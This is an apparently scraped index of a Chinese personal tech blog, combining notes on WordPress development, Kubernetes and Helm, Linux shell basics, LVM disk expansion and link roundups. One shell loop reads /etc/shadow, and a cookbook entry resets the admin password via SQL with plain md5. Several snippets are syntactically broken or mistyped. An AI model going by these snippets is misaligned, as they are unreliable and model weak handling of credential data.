的值替换为 \u0026lt;?php the_author_link();?\u0026gt; // ⽇期 替换为 \u0026lt;?php the_date();?\u0026gt; // 文章的永久链接： \u0026lt;?php the_permalink();?\u0026gt; 文件结构 WordPress 主题可能会有很多⽂件，不过总体来说可以将它们分为三类：\nCSS 样式⽂件和 JS 脚本⽂件：style.css ；\n函数⽂件：function.php ；\n模板⽂件：index.php/home.php/single.php/etc.\nWordpress 的每个模块的调用关系在下面的\nwphierachy 主题开发 关于页面的功能不仅仅是自己编写的，里面的内容可以使用自己预先使用 php 编写的模板。来实现归档页面，或者友链词云之类的功能。这里我直接 COpy一下书里的一个例子来，对开发的内容来进行说明：\n\u0026lt;?php /* Template Name: 归档 */ function _PostList($atts = array()) { global $wpdb; $rawposts = $wpdb-\u0026gt;get_results(\u0026#34;SELECT ID, year(post_date) as post_year, post_date, post_title FROM $wpdb-\u0026gt; posts WHERE post_status = \u0026#39;publish\u0026#39; AND post_type = \u0026#39;post\u0026#39; AND post_password = \u0026#39;\u0026#39; order by post_date desc\u0026#34;); foreach ($rawposts as $post) { $posts[$post-\u0026gt;post_year][] = $post; } $rawposts = null; $html = \u0026#39;\u0026lt;div class=\u0026#34;archives-container\u0026#34;\u0026gt;\u0026lt;ul class=\u0026#34;archives-list\u0026#34;\u0026gt;\u0026#39;; foreach ($posts as $year =\u0026gt; $posts_yearly) { $html .= \u0026#39;\u0026lt;li\u0026gt;\u0026lt;div class=\u0026#34;archives-year\u0026#34;\u0026gt;\u0026#39; . $year . \u0026#39;年\u0026lt;/div\u0026gt;\u0026lt;ul class=\u0026#34;archives-sublist\u0026#34;\u0026gt;\u0026#39;; foreach ($posts_yearly as $post) { $html .= \u0026#39;\u0026lt;li\u0026gt;\u0026#39;; $html .= \u0026#39;\u0026lt;time datetime=\u0026#34;\u0026#39; . $post-\u0026gt;post_date . \u0026#39;\u0026#34;\u0026gt;\u0026#39; . mysql2date(\u0026#39;m⽉d⽇ D\u0026#39;, $post-\u0026gt;post_date, true) . \u0026#39;\u0026lt;/time\u0026gt;\u0026#39;; $html .= \u0026#39;\u0026lt;a href=\u0026#34;\u0026#39; . get_permalink($post-\u0026gt;ID) . \u0026#39;\u0026#34;\u0026gt;\u0026#39; . $post-\u0026gt;post_title . \u0026#39;\u0026lt;/a\u0026gt;\u0026#39;; $html .= \u0026#34;\u0026lt;/li\u0026gt;\u0026#34;; } $html .= \u0026#34;\u0026lt;/ul\u0026gt;\u0026lt;/li\u0026gt;\u0026#34;; } $html .= \u0026#34;\u0026lt;/ul\u0026gt;\u0026lt;/div\u0026gt;\u0026#34;; return $html; } function _PostCount() { $num_posts = wp_count_posts(\u0026#39;post\u0026#39;); return number_format_i18n($num_posts-\u0026gt;publish); } get_header(); ?\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-sm-12 blog-main\u0026#34;\u0026gt; \u0026lt;?php echo _PostList(); ?\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;?php get_footer();?\u0026gt; 可以在代码的内容看到，这里的页面模板实际上是一个进行数据库查询，之后把结果在页面上进行渲染的功能，这里的输出内容是直接使用的html 来进行拼接生成。\n另外一个简单的例子是实现一个标签云，来实现文章的tag统一展示。\n\u0026lt;?php /* Template Name: 标签云 */ get_header();?\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-sm-12 blog-main\u0026#34;\u0026gt; \u0026lt;?php wp_tag_cloud(\u0026#34;smallest=20\u0026amp;largest=50\u0026amp;unix=px\u0026amp;number=200\u0026#34;);?\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;?php get_footer();?\u0026gt; 这里是直接使用 的Wordpress的内置函数，来实现一个标签云。\nGenerateWP 可以直接生成一些常用的 wordpress的代码，\nWP插件开发 WP运行机制 从 index.php 文件开始 加载 wp-blog-header.php ,再加载 wp-load.php h和 template-loader.php , 继续加载 wp-config.php 之后是 wp-settings.php ，\n在 setting 里面对已启用的插件来进行加载。\n插件是通过Wordpress提供的API函数来实现继承的，之间的耦合挺弱的，相关的函数可以在 wp-includes/plugin.php 中来看到API函数，类似于HOOK的方法，来hook到每个动作上去。\n其中的hook分 action/filter ，前者勾动作消息后执行，后者是接到消息处理。\ndo_action/add_action action 列表 apply_filters/add_filter filter列表 配置项目入库 /** * 初始化设置项 */ function gitchat_copyright_activate() { add_option(\u0026#39;gitchat_copyright_code\u0026#39;,\u0026#39;\u0026lt;hr\u0026gt;\u0026lt;p\u0026gt;这是⼀个来⾃ GitChat 达⼈课的插件\u0026lt;/p\u0026gt;\u0026lt;hr\u0026gt;\u0026#39;); } register_activation_hook(__FILE__,\u0026#39;gitchat_copyright_activate\u0026#39; ); // 在插件应用数据库的值的时候 $content .= get_option(\u0026#39;gitchat_copyright_code\u0026#39;); 短代码插件 shortCode 这里可以理解为一个洪，允许用户插入在页面中的地方，之后会在渲染页面的时候会自动的进行替换。\n// 不带参数与内容 // [git] function gitchat_git_shortcode() { return \u0026#34;Hello World\u0026#34;; } add_shortcode( \u0026#39;git\u0026#39;, \u0026#39;gitchat_git_shortcode\u0026#39; ); // 带参数与内容 [git id=\u0026#39;222\u0026#39; title=\u0026#39;jah\u0026#39;]this is a test[/git] function gitchat_git_shortcode( $atts , $content = null ) { $atts = shortcode_atts(array( \u0026#39;id\u0026#39; =\u0026gt; \u0026#39;1\u0026#39;, \u0026#39;title\u0026#39; =\u0026gt; \u0026#39;hahaha\u0026#39;, ),$atts,\u0026#39;git\u0026#39;); return $atts[\u0026#39;id\u0026#39;].\u0026#34;__\u0026#34;.$atts[\u0026#39;title\u0026#39;].\u0026#34;---\u0026#34;.$content; } // 使用 [git] 来使用短代码 ","date":"2020-02-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/02/2020-02-05-%E7%BF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0--%E4%BA%BA%E4%BA%BA%E9%83%BD%E8%83%BD%E5%AD%A6%E4%BC%9A%E7%9A%84-wordpress-%E5%AE%9E%E6%88%98%E8%AF%BE/","tags":["wordpress"],"title":"翻书笔记 《 人人都能学会的 WordPress 实战课》"},{"categories":["dev"],"contents":"最近想做一个文章的统一检索，但是发现对正文很难进行统一的提取，所以就在 github 上去找轮子。\n找了很久，终于找到一个合适的，可以进行页面的正文提取，这样就可以抓取里面的文章的内容，并且进行入库。\n项目地址：https://github.com/codelucas/newspaper\n项目文档：https://newspaper.readthedocs.io/en/latest/\n其使用的依赖项目在git的说明里面已经给出了，基本到了上手直接使用的级别。\n自己本来是打算最终打包成一个 docker 镜像的，但是由于家里的网实在不好，在 pip install的过程中老是因为链接超时失败。然后去 docker hub 上去搜了一下，发现已经有了 newspaper-api 这个项目，提供了文件解析的API级别的服务\nhttps://hub.docker.com/r/smarp/newspaper-api 到时候直接使用就OK，但是看了一下代码，好像是没有返回正文抓取的内容不开心，后面加上吧。\nhttps://github.com/Smarp/newspaper-api/blob/cb6f2d21028579d4f084361f3b7879a38be904d2/src/server.py#L102 具体的思路也是使用 API的方法来提供网页的解析服务，这里贴一下核心代码：\nServer服务部分 route_map = { \u0026#39;/q\u0026#39;:cgifunc.content_extract, \u0026#39;/q_s\u0026#39;: cgifunc.page_extract, } def application(environ, start_response): environ[\u0026#39;PATH_INFO\u0026#39;] = \u0026#39;/\u0026#39; + environ[\u0026#39;PATH_INFO\u0026#39;].split(\u0026#39;/\u0026#39;)[-1] print(environ[\u0026#39;PATH_INFO\u0026#39;]) if environ[\u0026#39;PATH_INFO\u0026#39;] in route_map: start_response(\u0026#39;200 OK\u0026#39;, [(\u0026#39;Content-Type\u0026#39;, \u0026#39;text/html\u0026#39;)]) resp=route_map[environ[\u0026#39;PATH_INFO\u0026#39;]](environ) else: start_response(\u0026#39;404 NOT FOUND\u0026#39;, [(\u0026#39;Content-Type\u0026#39;, \u0026#39;text/html\u0026#39;)]) return \u0026#34;\u0026#34; if not resp: return [b\u0026#39;Hello!\u0026#39;] else: if type(resp) == type(\u0026#39;\u0026#39;): resp = [resp.encode()] return resp if __name__ == \u0026#39;__main__\u0026#39;: httpd = make_server(\u0026#39;\u0026#39;, 18000, application) print(\u0026#39;Serving HTTP on port 18000...\u0026#39;) httpd.serve_forever() 解析Handle部分 def content_extract(environ): if environ[\u0026#39;REQUEST_METHOD\u0026#39;] == \u0026#34;GET\u0026#34;: logging.info(\u0026#39;post update\u0026#39;) try: request_body_size = int(environ.get(\u0026#39;CONTENT_LENGTH\u0026#39;, 0)) except (ValueError): request_body_size = 0 request_body = environ[\u0026#39;wsgi.input\u0026#39;].read(request_body_size) params = dict(urllib.parse.parse_qsl(environ[\u0026#39;QUERY_STRING\u0026#39;])) print(params) try: page_url = params[\u0026#39;url\u0026#39;] except KeyError as e: print(repr(e)) return repr(e) try: article = Article(page_url,keep_article_html=True) article.download() article.parse() article.nlp() resp = { \u0026#34;title\u0026#34;: article.title, \u0026#34;authors\u0026#34;: article.authors, # \u0026#34;keywords\u0026#34;: [i for i in article.keywords if len(i)\u0026lt;16], \u0026#34;keywords\u0026#34;: article.keywords, \u0026#34;summary\u0026#34;: article.summary, # \u0026#34;html\u0026#34;: article.html, \u0026#34;text\u0026#34;: article.text, \u0026#34;article_html\u0026#34;: article.article_html, } try: resp[\u0026#34;publish_date\u0026#34;] = article.publish_date.strftime(\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;) except Exception as e: resp[\u0026#34;publish_date\u0026#34;] = datetime.now().strftime(\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;) print(resp[\u0026#39;title\u0026#39;],resp[\u0026#39;authors\u0026#39;],len(resp[\u0026#39;article_html\u0026#39;])) resp = json.dumps(resp) except Exception as e: print(repr(e)) return repr(e) return resp Dockerfile FROM python:3.7.6-alpine3.10 ENV LANG C.UTF-8 COPY ./requirements.txt /tmp/./requirements.txt RUN pip3 install -r /tmp/./requirements.txt EXPOSE 18000 COPY ./webhook.py /home/app/ CMD [\u0026#34;python\u0026#34;, \u0026#34;/home/app/webhook.py\u0026#34;] ","date":"2020-02-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/02/2020-02-02-newspaper-%E6%AD%A3%E6%96%87%E6%8F%90%E5%8F%96%E5%B7%A5%E5%85%B7/","tags":null,"title":"Newspaper 正文提取工具"},{"categories":null,"contents":"这一篇拿来来记录这些在 k8s的使用过程中的技巧以及踩的坑。\n应用故障排查 https://kubernetes.io/zh/docs/tasks/debug-application-cluster/debug-application/\n删掉那些 terminaling pod死掉的时候，有时候就卡在 terminating 的的状态，虽然没啥影响，但是看的强迫症犯了，着实难受。看着官方的手册研究了一下，有办法解决，如下命令：\nkubectl delete pod wp-ray-wordpress-9674f4c69-z6xrh --grace-period=0 --force 当master节点不会被调度 pod 的时候 https://docs.lvrui.io/2018/11/14/%E4%B8%BAk8s-master%E8%8A%82%E7%82%B9%E6%B7%BB%E5%8A%A0%E6%B1%A1%E7%82%B9taints/#book:mark\nDocker 的磁盘悬挂的问题快速解决 docker system prune 磁盘清理 该指令默认会清除所有如下资源： 已停止的容器（container） 未被任何容器所使用的卷（volume） 未被任何容器所关联的网络（network） 所有悬空镜像（image）。\n","date":"2020-01-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/01/2020-01-16-k8s-troubleshooting/","tags":null,"title":"k8s-TroubleShooting"},{"categories":["读本好书"],"contents":"这个是朋友送的一本书，内容是比较的基础的，一下午时间把它读完～ 把自己觉得需要记录的东西写下来。\nSHELL \u0026amp; 管道 p60 STDIN 0 STDOUT 1 STDERR 2 输入重定向符号的区别：\n1 \u0026lt; 2 文件 2 作为标准输入到 1 1 \u0026laquo; 2 从标准输入中读取内容遇到 2 之后结束，标准输入到 1 1 \u0026lt; 2 \u0026gt; 3 文件2 作为标准输入输入到 1 其返回结果输出到文件 3 输入重定向符号的区别：\n1 \u0026gt; 2 输出创定向到文件2 1 2\u0026gt; 3 错误输出重定向到文件3 1 \u0026gt;\u0026gt; 2 标准输出追加到 文件2 1 \u0026gt;\u0026gt; 2 2\u0026gt;\u0026amp;1 标准输出重定向到文件2，且错误输出定向到标准输出 1 \u0026amp;\u0026gt;\u0026gt; 2 重定向所有输出追加到文件2 常用四个转义符号：\n\\ 特殊符号转义 '' 所有变量为普通字符串 \u0026quot;\u0026quot; 保留变量属性 `` 返回执行结果 常用环境变量\nHOME SHELL LANG RANDOM 返回随机数字 PS1 当前的Cli提示符 PATH EDITOR VIM p71 补充 VIM 的盲区知识，\n%d 清空整个的内容 set nu 显示行号 s/aaa/bbb 行内替换第一个 s/aaa/bbb/g 行内替换所有 %s/aaa/bbb/g 全文所有替换 ? (/) str 从上至下搜索/从下向上搜索 SHELL 逻辑 条件表达式，基础的格式 [ exp ] 两边需要空格，分为4类\n文件测试 逻辑测试 整数值比较 字符串比较 文件测试符 -d 是否为目录 -e 文件是否存在 -f 是否一般文件 -r 是否有权限读 -w 是否有权限写 -x 是否有权限执行 $? 为上一条命令的返回值，eg：\n➜ ~ [ -d bak ] ➜ ~ echo $? 0 逻辑运算 \u0026amp;\u0026amp; 成功之后执行 || 失败之后执行 ! 在测试表达式内表示 非 ➜ ~ [ -d bak ] || echo 123 ➜ ~ [ -d bak ] \u0026amp;\u0026amp; echo 123 123 ➜ ~ [ -d ba ] \u0026amp;\u0026amp; echo 123 ➜ ~ [ -d ba ] || echo 123 123 ➜ ~ [ ! -d ba ] \u0026amp;\u0026amp; echo 123 123 # 条件可以并列 ➜ ~ [ ! -d ba ] \u0026amp;\u0026amp; echo 123 || echo 121 123 ➜ ~ [ -d ba ] \u0026amp;\u0026amp; echo 123 || echo 121 121 数值判断 -eq == -ne != -gt \u0026gt; -lt \u0026lt; -le \u0026lt;= -ge \u0026gt;= 字符串判断 = 两个字符串相同 != 两字符串不同 -z 是否空字符串 SHELL 流程控制 if if [ 123 = 123 ] then echo OK else echo NOT OK fi if [ $1 = 123 ] then echo OK elif [ $1 = 222 ] then OK else echo Not OK fi for/while/case for LINE in cat tmp; do echo $LINE # 查询所有的 用户 id for LINE in cat /etc/shadow | cut -d: -f1; do echo id $LINE; NUM=0 while $NUM \u0026lt; 100; do let $NUM++ echo $NUM; done; case $1 in [abc]) echo abc ;; [0-9] echo $1 ;; AT 计划任务，感觉和 cron不同的是，可以设置单次计划\n# 晚上10点执行 ➜ ~ echo \u0026#34;echo 123\u0026gt;/tmp/123\u0026#34; | at 22:00 ➜ ~ at -l 1 Sun Dec 15 22:00:00 2019 2 Sun Dec 15 22:00:00 2019 ➜ ~ atrm 1 ➜ ~ at -l 2 Sun Dec 15 22:00:00 2019 用户管理 # 创建不可登录的普通用户账户 useradd -u [ -s /bin/nologin] # 创建用户组 groupadd # usermod 修改用户信息 user -G userdel -r passwd 不仅仅是用来改密码\n➜ ~ passwd --help Usage: passwd [OPTION...] -k, --keep-tokens keep non-expired authentication tokens -d, --delete delete the password for the named account (root only) -l, --lock lock the password for the named account (root only) -u, --unlock unlock the password for the named account (root only) -e, --expire expire the password for the named account (root only) -f, --force force operation -x, --maximum=DAYS maximum password lifetime (root only) -n, --minimum=DAYS minimum password lifetime (root only) -w, --warning=DAYS number of days warning users receives before password expiration (root only) -i, --inactive=DAYS number of days after password expiration when an account becomes disabled (root only) -S, --status report password status on the named account (root only) --stdin read new tokens from stdin (root only) 文件隐藏书属性 chattr 设置一下文件的隐藏权限。\n# 查看文件的隐藏位的设置 lsattr # 修改它 chattr 磁盘 RAID 书中这里写的主要是通过系统来组软RAID，使用mdadm工具来进行。书中的示例配置\nmdadm -Cv /dev/md0 -a yes -n 4 -l 10 /dev/sdb /dev/sdc /dev/sde /dev/sdd LVM \u0026hellip;\nfirewalls Iptables # 列出所有当前 Iptable 规则 iptables -nvL # 列出规则链 iptables -nvL INPUT # 不响应ICMP iptables -I INPUT -p icmp -j REJECT # 指定网段访问 22 iptables -I INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT iptables -I INPUT -p tcp --dport 22 -j DROP # 指定端口段 iptables -I INPUT -p tcp --dport 3000:4000 -s 192.168.1.0/24 -j ACCEPT ssh 密钥登录 直接进行证书生成以及分发\n[root@k8s-node0 ~]# ssh-keygen [root@k8s-node0 ~]# ssh-copy-id k8s-master 后 后面的服务部署篇后面再接着搞吧\n","date":"2019-12-15T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/12/2019-12-15-linux%E5%B0%B1%E8%AF%A5%E8%BF%99%E4%B9%88%E5%AD%A6%E7%AC%94%E8%AE%B001/","tags":["ops"],"title":"《Linux就该这么学》笔记01"},{"categories":null,"contents":"上周在k8s 的集群里进行pod部署的时候，发现出了evicted 的情况，意思说是北驱逐，也就是目标的节点无法满足 部署需要。所以导致被驱逐到其他的节点。 检查日志发现是由于 磁盘不满足需求导致pod被驱逐。所以需要北目标节点来进行扩容。\n前 主机扩容一直是一个麻烦事情，经常出现使用 fdisk修改完分区表之后开不了机的情况，所以改磁盘分区的时候还是比较紧张，但是这次在用df -h 看了之后，发现\nFilesystem Size Used Avail Use% Mounted on /dev/mapper/centos-root 29G 21G 8.2G 72% / 不是磁盘分区直接进行的挂载，而是使用的 LVM 来进行的挂载。这样使得磁盘扩容的过程就小了非常多，而且可以进行不停机的磁盘扩容。\n关于 LVM 技术 可以看其百科的说明。\n因此完美的解决方法应该是在零停机前提下可以自如对文件系统的大小进行调整，可以方便实现文件系统跨越不同磁盘和分区。幸运的是Linux提供的逻辑盘卷管理（LVM，LogicalVolumeManager）机制就是一个完美的解决方案。\n这一篇实战贴就算是记录一下整个磁盘扩容的过程，以便后面再次遇上使用。\n过程 在过程上分为两个：\n建立磁盘分区\n拓展LVM卷\n文件系统扩容\n建立磁盘分区 由于节点主机是使用 esxi 来进行虚拟化部署的，所以可在控制台上很容易的进行磁盘的扩容操作。扩容完成之后，登录主机使用 fdisk 查看扇区的范围：\nDisk /dev/sda: 34.4 GB, 34359738368 bytes, 67108864 sectors 实际上sda1和sda2没有完全使用磁盘的空间，所以这里需要新建一个分区，过程如下:\nfdisk /dev/sda n # 创建新分区 p # primary 分区 3 #分区号 t # 修改分区类型 3 # 选择上面的分区号 8e # LVM 的类型 w # 写入磁盘分区表 # 让系统刷新分区情况 portprobe # 选择刚刚创建的分区进行格式化 mkfs.ext3 /dev/sda3 完成上上面的步骤之后就有了一个可用的ext3的分区了。完成创建分区的步骤\n添加分区至LVM组 这里需要把新建的分区添加到已经挂载在/的卷。这里需要使用 LVM 来进行管理了，流程如下：\n#进入lvm管理 lvm # 这是初始化刚才的分区3 lvm\u0026gt;pvcreate /dev/sda3 # 将初始化过的分区加入到虚拟卷组centos (卷和卷组的命令可以通过 vgdisplay ) lvm\u0026gt;vgextend centos /dev/sda3 # vgdisplay查看free PE /Site lvm\u0026gt;vgdisplay -v #扩展已有卷的容量（6143 是通过vgdisplay查看free PE /Site的大小） lvm\u0026gt;lvextend -l+6143 /dev/mapper/centos-root #查看卷容量，这时你会看到一个很大的卷了 lvm\u0026gt;pvdisplay #退出 lvm\u0026gt;quit 文件系统扩容 在上面LVM扩容完之后，就需要进行文件系统的扩容，在Centos7 中有对应的工具，由于安装的系统是直接挂载在根目录的。所以这里直接\nxfs_growfs /dev/mapper/centos-root 在执行完之后，可以用df命令看到，已经玩完成了扩容的过程，整个过程完全无痛，不用停机的调整，nice～\n参考 VMware虚拟机中CentOS7的硬盘空间扩容\n","date":"2019-12-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/12/2019-12-14-centos-%E4%B8%8B%E7%9A%84lvm%E5%8D%B7%E6%89%A9%E5%AE%B9/","tags":null,"title":"CentOS 下的LVM卷扩容"},{"categories":["每周分享"],"contents":"一样的建立一个 cron 吧，每周一次来把有意思的链接收集归档一下。\n好玩的 网页时光机 pimeyes-根据照片找视频 书 Welcome to Heptio Docs! Welcome to Heptio’s documentation, a resource for Kubernetes admins and users. 一些基础实践的指引，比如run a custom LAMP application on kubenates. 可以很好的体验什么是代码即架构 Helm User Guide - Helm 用户指南 Nginx开发从入门到精通 K8S Example: Deploying WordPress and MySQL with Persistent Volumes 官方上提供了wordpress和mysql的示例的deployment Kubernetes中的Volume介绍 Docker MySQL最佳实践？ kubernetes service external ip pending It looks like you are using a custom Kubernetes Cluster (using minikube, kubeadm or the like). In this case, there is no LoadBalancer integrated (unlike AWS or Google Cloud). With this default setup, you can only use NodePort or an Ingress Controller. 五分鐘 Kubernetes 有感 Tutorial: Run WordPress with Helm on Kubernetes 比较标准的helm部署wordpress的文章，可以少不少坑 Kubernetes 的基本概念和术语 Kubernetes 为每个 Pod 都分配了一个唯一的 IP 地址，称之为 Pod IP，一个 Pod 里的多个容器共享 Pod IP 地址。 StatefulSet 里的每个 Pod 都有稳定、唯一的网络标识，可以用来发现集群内的其他成员 Kubernetes 的 Service 定义了一个服务的访问入口地址 Annotation 与 Label 类似，也使用 key/value 键值对的形式进行定义。不同的是 Label 就有严格的命名规则，它定义的是 Kubernetes 对象的元数据，并且用于 Label Selector。Annotation 则是用户任意定义的附加信息，以便于外部工具查找 Kubernetes的三种外部访问方式：NodePort、LoadBalancer 和 Ingress ClusterIP 集群内部节点可直接访问 NodePort 每个节点需要暴露统一的端口 LoadBalance 有自己独立的IP Ingress 针对HTTP层面进行转发 玩K8S不得不会的HELM 一篇很好的helm的从入门到进阶的文章 k8s v1.13.2 安装排错日志 其他 星际文件系统 提前关注一下吧，感激他又开始火起来了。\n它是一种内容可寻址的对等超媒体分发协议。在IPFS网络中的节点将构成一个分布式文件系统。\n","date":"2019-12-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/12/2019-12-14-tabclosing-3/","tags":["docker","helm","kubernetes","nginx"],"title":"TabClosing 3"},{"categories":["op之路"],"contents":"Tricks 改用户名 想改登录名怎么办？不能直接改，那就改库：\nUPDATE wp_users SET user_login = \u0026#39;新用户名\u0026#39; WHERE user_login = \u0026#39;admin\u0026#39;; 忘记密码 这里直接改数据库了，结合这里的docker的部署方式。先attach上容器\ndocker exec -it forum_guet_db.1.poow5nr4a081b55yftqmxwj2v /bin/bash 得到shell之后，直接 mysql -uroot -p 连上数据库。use wordpress 选库。之后直接对wp_users 表内的内容更新即可。语句如下：\nupdate wp_users set user_pass=md5(\u0026#39;123\u0026#39;) where user_login=\u0026#39;admin\u0026#39;; ","date":"2019-12-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/12/2019-12-11-wp-cookbook/","tags":["wordpress"],"title":"WP-CookBook"},{"categories":["每周分享"],"contents":" 为什么总是停留在什么都想，可是什么都不想做的状态呢？ 我的大好周末好可惜，一定需要找到驱动自己的动力。或许是工作日的事情消耗了自己的太多的活力，导致周末需要用重获自由般的休息来refill 自己？\n有意思 这里收集一些有意思的小东西\nhttp://protobot.org/#zh 创意缺乏的时候，来随机一下自己的灵感 书们 kubernetes 从入门到实践 不错的书，mark\nKubernetes Handbook——Kubernetes中文指南/云原生应用架构实践手册\nLinux 学习笔记 学习笔记系列，东西很多涉及也很广。\nServerless Handbook——无服务架构实践手册 本书是本人学习和实践 Serverless 过程中所整理的资料，主要关注的 Serverless 开源项目是 Knative。\nOpenResty最佳实践 openresty 的一篇入门的文章，写的很不错，涉及到Lua的愈发，以及在WAF方面的应用等。 粗略的翻了一下，后面如果要切的话可以作为参考\nhttp://www.lingocn.com/ 一个高质量电子书的分享站点\nThe Linux Kernel linux 内核的文档，对内核接口介绍详细\n太极书馆 偶然发现的一个藏书室\n其他 RssHub 这个之前有推过的一个很不错的项目，后面可以成为资讯来源 考虑结合 keydatas 或者 wpematico这种自动抓取的plugin\n7 Best Auto Blogging Plugins for WordPres\n19 个很有用的 ElasticSearch 查询语句 一些比较常用的ES搜索的命令，以便后面可以进行查阅\nCGroup 介绍、应用实例及原理描述 Cgroup介绍以及实操的不糙文章（IBM社区真的可以）\ntwitter的数据下载 twitter是可以下载个人数据的。\nSherlock的博客git 大佬的一些杂文收集\nsonarqube 一个代码静态分析的静态分析的工具\nflickr 知名的在线相册，用于存储各种各样的精美照片\n端媒体 主流读者为具有全球经验的华人精英，包括： 律师、银行家、基金管理人等专业人士 企业所有者、高级管理人员与董事 政府官员、大学教授等意见领袖\nNginx+Lua 实现灰度发布 LUA 由于其环境极其简单的特性，可以很好的作为胶水到各个组件\n可能是全网把 ZooKeeper 概念讲的最清楚的一篇文章 ZooKeeper 的设计目标是将那些复杂且容易出错的分布式一致性服务封装起来，构成一个高效可靠的原语集，并以一系列简单易用的接口提供给用户使用。 服务生产者将自己提供的服务注册到Zookeeper中心，服务的消费者在进行服务调用的时候先到Zookeeper中查找服务，获取到服务生产者的详细信息之后，再去调用服务生产者的内容与数据。\nMysql大表删除 通过把现有的表的IDB文件通过硬链接成另一个文件。进行快速删除\nln 123.ibd 123.bak 日志系统实践 - 搭建开发环境x\nhttp://www.yoonper.com/post.php?id=63 id++ http://www.yoonper.com/post.php?id=71 一个日志手收集系统的自主开发过程系列\n什么是Serverless（无服务器）架构？\nKarl Marx说的好，生产力决定生产关系，云计算的概念层出不穷，其本质上还是对生产关系和生产力的配置与优化，生产者抛开场景意味追求高大上的技术将譬如“大炮打蚊子”，小题大做，鼓励大家为了满足大家的好奇心进行折腾，毕竟那么多科学发现和重大发明都是因为折腾出来的，不想要一匹跑的更快的马，而是发明汽车的福特，捣鼓炸药的诺贝尔，种豌豆的孟德尔……同时还是要考虑将技术产业化（或许能改变生产关系），提高生产力\nkubernetes dashboard 升级之路\n算法源于生活 这是我突然想到的一句话，也是我突然遇到的一篇文章\nKubernetes 安装 Helm 并使用 Helm 安装 wordpress Helm 的入门篇，自己参照这个部署成功\nNginx - 启动流程 在用Nginx 就需要去了解 Nginx\n24岁，我是这样给自己和父母配置保险的\n瑞克的口头禅“Wubba Lubba Dub-Dub”最早出现在“米西魔术盒”中。这在鸟人（Birdperson）世界的母语中意味着“请帮帮我，我好痛苦。”[7][8]\n","date":"2019-12-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/12/2019-12-08-tabclosing-2/","tags":["docker","elasticsearch","nginx"],"title":"TabClosing 2"},{"categories":["玩点什么"],"contents":"这里分享一个挺有意思的网站。作用是用来进行实时的加密货币交易跟踪。 可以交易来进行可视化，也是蛮好玩的一个项目，提供来对大单交易的预警，可以直接进行订阅。 网址子下面给出，可以自己去看一下\nhttps://whale-alert.io/transaction-map\n在网址末尾也给出来了这个插件的embed ，看着还是很好玩的。\n另外，这里突然一个 2.2B CNH 的交易单，是不是暗示这某些事情的发生？\nhttps://whale-alert.io/transaction/bitcoin/822f61dfa7a73e54d108ed7f7804498c7b7ce1768b85a5ee44c0da216348b6f9/1\n","date":"2019-11-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/11/2019-11-25-whale-alert-a-website-of-cryptocurrency-transaction-real-time-tracking/","tags":["bitcoin","cryptocurrency"],"title":"Whale-alert -- A website of Cryptocurrency Transaction real time tracking"},{"categories":["op之路"],"contents":"这篇文章是很实战的一篇，使用 helm来快速搭建一个 wordpress 站点。\n这篇文章已经在draft 里面待了快俩星期了。最近又是各种人生迷茫？\n很好的参考文章：\nhttps://www.sunmite.com/docker/kubernetes-install-helm-and-wordpress.html\n这一篇文章记录了主要的过程 但是也是存在这不少的坑。\n准备 搜索相关的chart 使用 helm 来进行 相关 的Chart 的搜索，可以看到当期的chart 的发行的版本\n➜ k8s helm search wordpress NAME CHART VERSION APP VERSION DESCRIPTION stable/wordpress 7.6.7 5.2.4 Web publishing platform for building blogs and websites. 查看 chart的Doc helm 的部署的过程实际上是使用预设的模板以及配置来进行整个服务的部署，使用 helm inspect 来查看这个 chart 的默认参数。\nhelm inspect value stable/wordpress 看到 wordpress 的默认的配置\n| `wordpressUsername` | User of the application | `user` | | `wordpressPassword` | Application password | _random 10 character long alphanumeric string_ | | `wordpressEmail` | Admin email | `user@example.com` | | `wordpressFirstName` | First name | `FirstName` | | `wordpressLastName` | Last name | `LastName` | | `wordpressBlogName` | Blog name | `User\u0026#39;s Blog!` | 特色问题 网络 由于无法和 helm默认的仓库通信，所以这里需要在 helm的出适合的时候指定国内的镜像源。\nhelm init --upgrade -i registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.12.2 --stable-repo-url https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts tiller 容器服务安装 Error: could not find a ready tiller pod #2064\nhttps://github.com/helm/helm/issues/2064\ntiller 服务 端口转发报错 E1112 20:50:07.137974 8960 portforward.go:400] an error occurred forwarding 36910 -\u0026gt; 44134: error forwarding port 44134 to pod 7cec34191bfb05d735558f58c6aee548fd2185ad01f0096835afc5042cfe5ee2, uid : container not running (7cec34191bfb05d735558f58c6aee548fd2185ad01f0096835afc5042cfe5ee2) ########### ➜ ~ kubectl -n kube-system port-forward svc/tiller-deploy 44134:44134 Forwarding from 127.0.0.1:44134 -\u0026gt; 44134 Forwarding from [::1]:44134 -\u0026gt; 44134 安装 service用户角色问题 https://github.com/helm/helm/issues/3130\n在直接使用helm来对wordpress来进行安装，发现会返回权限错误。\n➜ k8s helm install --name wp-test stable/wordpress Error: release wp-test failed: namespaces \u0026#34;default\u0026#34; is forbidden: User \u0026#34;system:serviceaccount:kube-system:default\u0026#34; cannot get resource \u0026#34;namespaces\u0026#34; in API group \u0026#34;\u0026#34; in the namespace \u0026#34;default\u0026#34; 这里是没有创建HELM对应的role导致的权限谁是，所以需要给helm 来创建角色，参看的yaml文件如下：\napiVersion: v1 kind: ServiceAccount metadata: name: tiller namespace: kube-system --- kind: ClusterRoleBinding apiVersion: 